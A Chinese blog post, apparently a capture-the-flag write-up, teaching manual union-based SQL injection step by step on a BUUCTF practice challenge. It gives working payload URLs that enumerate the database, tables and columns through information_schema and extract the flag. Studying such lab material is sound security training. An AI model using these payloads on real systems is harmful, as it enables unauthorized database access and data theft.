[BUUCTF从零单排] Web方向 03.Web入门篇之sql注入-1(手工注入详解)

news2024/12/24 11:36:53

这是作者新开的一个专栏《BUUCTF从零单排》,旨在从零学习CTF知识,方便更多初学者了解各种类型的安全题目,后续分享一定程度会对不同类型的题目进行总结,并结合CTF书籍和真实案例实践,希望对您有所帮助。当然,也欢迎大家去BUUCTF网站实践,由于作者能力有限,该系列文章比较基础,写得不好的地方还请见谅,后续会持续深入,加油!

前文介绍了Web方向的基础题目——常见的搜集,该题目主要考察信息收集知识。这篇文章同样是Web方向的题目,主要介绍SQL注入内容——sql注入-1,第一篇详细讲解手工注入,后面再结合工具SQLMAP介绍。为了方便大家思考,文章摘要部分尽量少提,大家也可以先尝试实践,再看WriteUp。基础性文章,希望对您有所帮助,尤其是对网络安全工具的使用和理解。

  • 欢迎关注作者新建的『网络攻防和AI安全之家』知识星球(文章末尾)

文章目录

  • 一.题目描述
  • 二.解题思路
    • 1.注入点判断
    • 2.判断数据库字段
      • 方法一:利用union select实现
      • 方法二:利用order by实现
    • 3.获取数据库名称
    • 4.获取表名
    • 5.获取表中的字段名
    • 6.获取字段的内容
  • 三.探索扩展
  • 四.总结

前文赏析:

  • [BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路
  • [BUUCTF从零单排] Web方向 02.Web入门篇之『常见的搜集』解题思路
  • [BUUCTF从零单排] Web方向 03.Web入门篇之sql注入-1(手工注入详解)

一.题目描述

该题目的具体描述如下:

  • 题目:[第一章 web入门]SQL注入-1
  • 方向:SQL注入
  • 来源:《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com

在这里插入图片描述

在这里插入图片描述

接着解锁该题目并开启探索。

在这里插入图片描述

打开网站如下所示:

  • http://814d06ba-e597-4720-a213-6cda3204fa81.node5.buuoj.cn:81/

在这里插入图片描述

Happy
Why am I feeling so happy today? Well, I just got to spend three days with some of my very best friends having fun together. Yes, I am happy because I had so much fun, but I am also happier because of my connections to these people. Belonging to a community of people helps us feel connected to something greater than ourselves. Research has actually shown that people who are part of community have less stress, recover more quickly from illnesses, and have less chance of a mental illness.


二.解题思路

首先,由网页可知其是PHP网站。接着,打开该网页通过描述,可以知道该题目考察的是信息收集。作为初学者,我们第一想法是网站扫描和源码解析,如下图所示:

在这里插入图片描述

然后并没有太多信息,不过看到这种对话框显示内容,我们想到的也是SQL注入,通过不同参数调整来判断对话框中内容,并尝试将数据库的关键信息显示其中。

1.注入点判断

首先,通过输入不同的数字,我们可以看到其内容在发生改变。

index.php?id=2

在这里插入图片描述

在id=3时,系统会给出对应的提示“tips if too diffcult ,add &tips=1 to the url !”。

index.php?id=3

在这里插入图片描述

而当id大于等于4时,整个内容不再显示,典型的SQL注入题目

index.php?id=4

在这里插入图片描述

其次,我们需要判断注入点,并且判断是字符型注入还是数字型注入。

  • 数字型注入:先尝试判断是否为数字型注入。
index.php?id=1 and 1=2

分析:如果是数字型注入,对应的sql语句为:select * from notes where id =1 and 1=2。此时会出现报错提示,而当前页面未出现明显变化,因此不是数字型注入。接下来进行字符型注入判断。

在这里插入图片描述

  • 字符型注入:通过添加特定标点符号判断,发现其内容不再显示。
index.php?id=1'

分析:原因是对应的SQL语句闭合,即:select * from notes where id =‘1’。此时显示结果异常,进一步确定为字符型注入。

在这里插入图片描述

进一步修改URL:

index.php?id=1' and 1=2--+

此时对应的SQL语句如下,并出现报错信息,自此确定为字符型注入

select * from notes where id ='1' and 1=2 --+'; 

在这里插入图片描述


2.判断数据库字段

通常有两种方式判断数据库字段(column)数量。

方法一:利用union select实现

核心思想是利用联合查询构建SQL注入关键代码,判断其是否与id=1界面相同。

index.php?id=1' union select 1 --+

此时运行结果不同,异常显示。

在这里插入图片描述

当参数为3个时,发现其与id=1界面相同,如下图所示:

index.php?id=1' union select 1,2,3 --+

在这里插入图片描述

而当参数超过3个时,与id=1界面不同。

index.php?id=1' union select 1,2,3,4 --+

在这里插入图片描述

基于此,判断该条SQL语句的参数为3个。


方法二:利用order by实现

利用order by的差异判断出有3列数据。

index.php?id=1' order by 3 --+

在这里插入图片描述

其中,order by参数为3时正常显示,其它值均异常显示,因此判断参数为3个。

index.php?id=1' order by 4 --+

在这里插入图片描述


3.获取数据库名称

通过联合查询和关键函数database()获取数据库名称。

  • 注意:不同数据库的关键函数存在一定差异,读者可以自行学习和记录。

前面在参数判断中已经看到联合查询的SQL语句,其页面正常显示。

正常显示:
index.php?id=1' union select 1,2,3 --+

在这里插入图片描述

首先,将id参数修改为“-1”,可以查看对应的回显内容。通过该方式让SQL注入内容在该部分显示,比如当前显示的为“2、3”,对应第2、3个参数。后续利用回显位进行暴库。

异常显示:
index.php?id=-1' union select 1,2,3 --+

在这里插入图片描述

其次,构建SQL注入关键代码获取数据库名称。

index.php?id=-1' union select 1,database(),3 --+

对应的SQL语句为:

select * from notes where id ='1' union select 1,database(),3 --+'; 

显示结果可以看到数据库的名称为:

  • note

在这里插入图片描述


4.获取表名

获取表名的关键代码如下:

  • group_concat(table_name):用于获取数据库表的名称
  • information_schema.tables:提供了关于数据库中的表的信息
方法1:
index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='note' --+

方法2:
index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

显示结果如下所示,其表名称为:

  • fl4g,notes

在这里插入图片描述

温馨提示:INFORMATION_SCHEMA 数据库是MySQL自带的,它提供了访问数据库 元数据的方式,元数据是关于数据的数据,如数据库名或表名、列的数据类型、或访问权限等。

在这里插入图片描述

接着分别获取两个表格信息,利用limit关键词实现。

index.php?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 0,1 --+

index.php?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 1,1 --+

分别显示两个表名称,通过分析fl4g表格更可能存储最终flag信息。

在这里插入图片描述

在这里插入图片描述


5.获取表中的字段名

获取表中字段名的关键代码如下:

  • group_concat(column_name):用于获取字段名称
  • information_schema.columns:提供了字段信息
index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+

温馨提示:GROUP_CONCAT函数是SQL中的一个聚合函数,它用于将来自某个分组的多个行的列值连接成一个单独的字符串。这个函数在处理如分类数据汇总、生成报表等场景时非常有用。

显示结果如下,表格fl4g中的字段为:

  • fllllag

在这里插入图片描述


6.获取字段的内容

获取字段内容的关键代码如下:

  • group_concat(fllllag):用于获取指定字段内容
index.php?id=-1' union select 1,group_concat(fllllag),3 FROM fl4g --+

最终flag如下:

  • n1book{union_select_is_so_cool}

在这里插入图片描述

在这里插入图片描述


三.探索扩展

请大家思考几个问题:

  • 第一,为什么在撰写SQL注入关键代码时,末尾需要添加一个加号或减号才能成功显示呢?这个希望知道的读者告知,非常感谢。
index.php?id=-1' union select 1,database(),3 -- -
index.php?id=-1' union select 1,database(),3 --+
index.php?id=-1' union select 1,database(),3 --'

为什么–后面必须要有空格,而#后面就不需要?
因为使用–注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。因为不加空格,–直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

  • 第二,该篇博客讲述的手工注入,很多关键代码需要大家牢记。那么,如何使用自动化工具实现对应功能呢?有什么方便的工具来实现SQL注入吗?

  • 第三,union select左右两边必须拥有相同数量的列。

  • 第四,在代码中id=1的主要原因是只需要判断,不需要展示值;id=-1 需要将union select获得的值展示出来。如果id=1,union select获得的值将无法展示出来。

  • 第五,上述注入代码通过“- -”注释来实现绕过闭合,同样“#”具有相同的功能。“#”在URL中不作为有效字符传入SQL语句中,故采用URL编码%23代替。

index.php?id=-3' union select 1,database(),@@version_compile_os %23&tips=1

在这里插入图片描述

  • 第六,在MYSQL5.0以上版本中,mysq1存在一个自带数据库名为 information_schema, 它是一个存储记录有所有数据库名,表名,列名的数据 库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
    – information_schema.tables:记录所有表名信息的表
    – information_schema.columns:记录所有列名信息的表
    – table_name:表名
    – column_name:列名
    – table_schema:数据库名

四.总结

写到这里,这篇文章就介绍完毕,下一篇将介绍SQL基本用法。基础性文章,希望对您有所帮助。同时建议读者多实践,尝试各种类型的CTF题目。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。

在这里插入图片描述
目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!

(By:Eastmount 2024-09-29 夜于贵阳 http://blog.csdn.net/eastmount/ )


参考《从0到1:CTFer成长之路》书籍和如下文献,推荐大家关注此书。

  • [1] https://github.com/Jason1314Zhang/BUUCTF-WP/blob/main/N1BOOK/
  • [2] https://jason1314zhang.github.io/blog/N1BOOK-Writeup/
  • [3] https://github.com/SihUi0/CTF-SQL-/blob/main/web入门SQL注入-1(BUUCTF).md
  • [4] [第一章 web入门]SQL注入-1 题目分析与详解
  • [5] N1BOOK第三关摸鱼:[第一章 web入门]SQL注入-1
  • [6] BUUCTF-wp-[第一章 web入门]SQL注入-1
  • [7] [BUUCTF]-N1BOOK-[第一章 web入门]SQL注入-1 及sqlmap的简单使用
  • [8] BUUCTF [第一章 web入门]SQL注入-1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2180550.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

html+css+js实现dialog对话框

实现效果 HTML部分 <span class"text">点击打开 Dialog</span><!-- 警告框 --><div class"alert"><div class"header"><i>X</i> </div><div class"content">确认关闭</di…

Python 实现 YouTube 视频自动上传

文章目录 前言申请 Google API 秘钥启用 API创建项目凭证配置 API下载生成的凭据文件 youtube-upload 工具使用安装配置秘钥使用 其它问题程序尚未完成 Google 验证流程 个人简介 前言 youtube-upload 库 Python 中一个用于实现 YouTube 视频自动上传的实用工具。以下是关于如…

【 微信机器人+ AI 搭建】

摘要&#xff1a; 各种大模型已经出来好久了&#xff0c;各类app也已经玩腻了&#xff0c;接下来&#xff0c;就在考虑&#xff0c;怎么让大模型&#xff0c;利益最大化。 本人没有显著的家世&#xff0c;没有富婆包养&#xff0c;只能自己抽点时间&#xff0c;研究下技术&…

Java使用BeanUtils.copyProperties实现对象的拷贝

1、BeanUtils.copyProperties() 方法的使用 BeanUtils.copyProperties 方法是 Java 中 Spring 框架提供的一个非常实用的工具方法&#xff0c;它用于将一个 JavaBean 对象的属性值拷贝到另一个 JavaBean 对象中。这个方法主要用于简化对象之间的数据转换过程&#xff0c;尤其是…

数学-傅里叶级数的推导

目录&#xff1a; 1、矢量的正交分解 2、信号的正交分解 3、傅里叶级数形式★ 本篇摘录“信号与系统3-傅里叶变换与频域分析”的小部分内容。 1、矢量的正交分解 两矢量V1与V2正交&#xff0c;夹角为90&#xff0c;那么两正交矢量的内积为零&#xff0c;如下图所示。 图4.2…

Excel实现省-市-区/县级联

数据准备 准备省份-城市映射数据&#xff0c;如下&#xff1a; 新建sheet页&#xff0c;命名为&#xff1a;省-市数据源&#xff0c;然后准备数据&#xff0c;如下所示&#xff1a; 准备城市-区|县映射数据&#xff0c;如下&#xff1a; 新建sheet页&#xff0c;命名为&#x…

Open WebUI部署自己的大模型

相关代码地址见文末 1. 概述 Text Generation WebUI 是一个基于网页的界面,提供使用不同语言模型(如Transformers、Llama、ExLlamav2等)进行文本生成的功能。该软件支持以下主要功能: 模型加载:支持从多种框架加载单个或多个LoRA。LoRA微调:在支持的加载器上进行低秩适…

计算神经学笔记01

- **The term neuromorphic is generally used to describe analog, digital, mixed-mode analog/digital VLSI, and software systems that implement several models of neural systems.** - 神经形态一词通常用于描述模拟、数字、混合模式的模拟/数字超大规模集成电路&…

YOLO V8半自动标注工具设计

前提&#xff1a; 对于某些边界不明确的小目标&#xff0c;要是目标由比较多的话&#xff0c;标注起来就会非常麻烦。 如何利用已有训练模型&#xff0c;生成框&#xff0c;进行预标注。再通过调节预标注框的方式&#xff0c;提高标注的效率。 1 通过预先训练的模型生成yolo 格…

12.C++程序中的自定义函数

11.C程序中的常用函数-CSDN博客https://blog.csdn.net/fly_binbin/article/details/142643406上面说的是C程序中内置的一些函数&#xff0c;这些函数是由编译器提供的&#xff0c;可以方便大家的使用&#xff0c;但是很多时候&#xff0c;单纯的内置函数无法满足人们的需求&…

排序题目:重新排列后的最大子矩阵

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;重新排列后的最大子矩阵 出处&#xff1a;1727. 重新排列后的最大子矩阵 难度 7 级 题目描述 要求 给定一个大小为 m n \texttt{m} \times \tex…

第三方供应商不提供API接口?教你四步破解集成难题

API开放需求 在企业数字化转型过程中&#xff0c;异构系统之间的连接是信息化阶段不可或缺的一环。通过应用API&#xff0c;企业能够实现不同系统、平台和应用之间的数据交换与功能调用&#xff0c;从而形成端到端的业务流程协同。然而&#xff0c;很多企业在集成第三方供应商…

web应用合规(一)双因子认证2FA解决方案

文章目录 背景知识什么是2FA认证因子分类知识因素持有因素 解决方案密码 OTP密码 TOTP方案对比 参考文档后记 最近做海外项目&#xff0c;对合规方面的要求比较高&#xff0c;写一篇流水账来记录下 登录时的双因子认证过程&#xff0c;于是开启了2FA&#xff08;2 factor au…

CTF网络安全大赛_网安战队简历

CTF网络安全大赛 CTF比赛介绍 CTF&#xff08;Capture The Flag&#xff0c;中文&#xff1a;夺旗赛&#xff09;是网络安全领域中一种信息安全竞赛形式&#xff0c;起源于1996年。DEFCON全球黑客大会&#xff0c;代替了之前黑客们通过互相发起真实攻击进行技术比拼的方式。参…

Shopee虾皮店铺难出爆品?你可能忘了测款!

大部分Shopee虾皮卖家可能都经历过店铺销量一直平平无奇、较长时间出不了爆品的情况&#xff0c;明明做足了功课&#xff0c;为什么还会出现这种现象&#xff1f;那有可能是店铺运营没有明确的重点&#xff0c;太“雨露均沾”反而难以显著提升销量&#xff0c;应该对一个或部分…

西语中关于拆盲盒的表达是什么?柯桥西语口语培训

拆盲盒常常要靠运气。那么西语中有哪些相关的表达呢&#xff1f; 好运 buena suerte - tener &#xff08;buena&#xff09;suerte 最常用的形容“好运”的表达。可以说tener suerte de hacer algo&#xff0c;运气好而做成某事。 - ¡Vaya potra! / ¡Qu potra! 用…

兴业周报|十一黄金周即将到来~楼市利好政策重磅来袭

黄金地段&#xff1a;社区位于东三环核心位置&#xff0c;定位于CBD商务圈旁的纯居住区&#xff0c;容积率不足2.8&#xff0c;绿化率达到50%以上&#xff0c;树种超过80余种&#xff0c;实现“每个楼座都在园林中”的效果。 配套成熟&#xff1a;周边配套齐全&#xff0c;富力…

Error和Exception

1.异常体系结构 &#xff08;1&#xff09;Java把异常当作对象处理&#xff0c;定义一个基类java.lang.Throwable作为所有异常的超类。 &#xff08;2&#xff09;Java API中定义了许多异常类&#xff0c;这些异常类分为两大类&#xff0c;错误Error和异常Exception 2.什么是…

湿气缠身不用愁,拔罐疗法助你轻松“祛湿”!

在这个快节奏的时代&#xff0c;我们常常忽略了身体发出的微妙信号&#xff0c;其中&#xff0c;“湿气重”便是许多现代人面临的隐形健康挑战。湿气&#xff0c;中医理论中的一个重要概念&#xff0c;它像无形的枷锁&#xff0c;悄悄影响着我们的体态、精神状态乃至生活质量。…

react-问卷星项目(3)

项目实战 React Hooks 缓存&#xff0c;性能优化&#xff0c;提升时间效率&#xff0c;但是不要为了技术而优化&#xff0c;应该是为了业务而进行优化 内置Hooks保证基础功能&#xff0c;灵活配合实现业务功能&#xff0c;抽离公共部分&#xff0c;自定义Hooks或者第三方&am…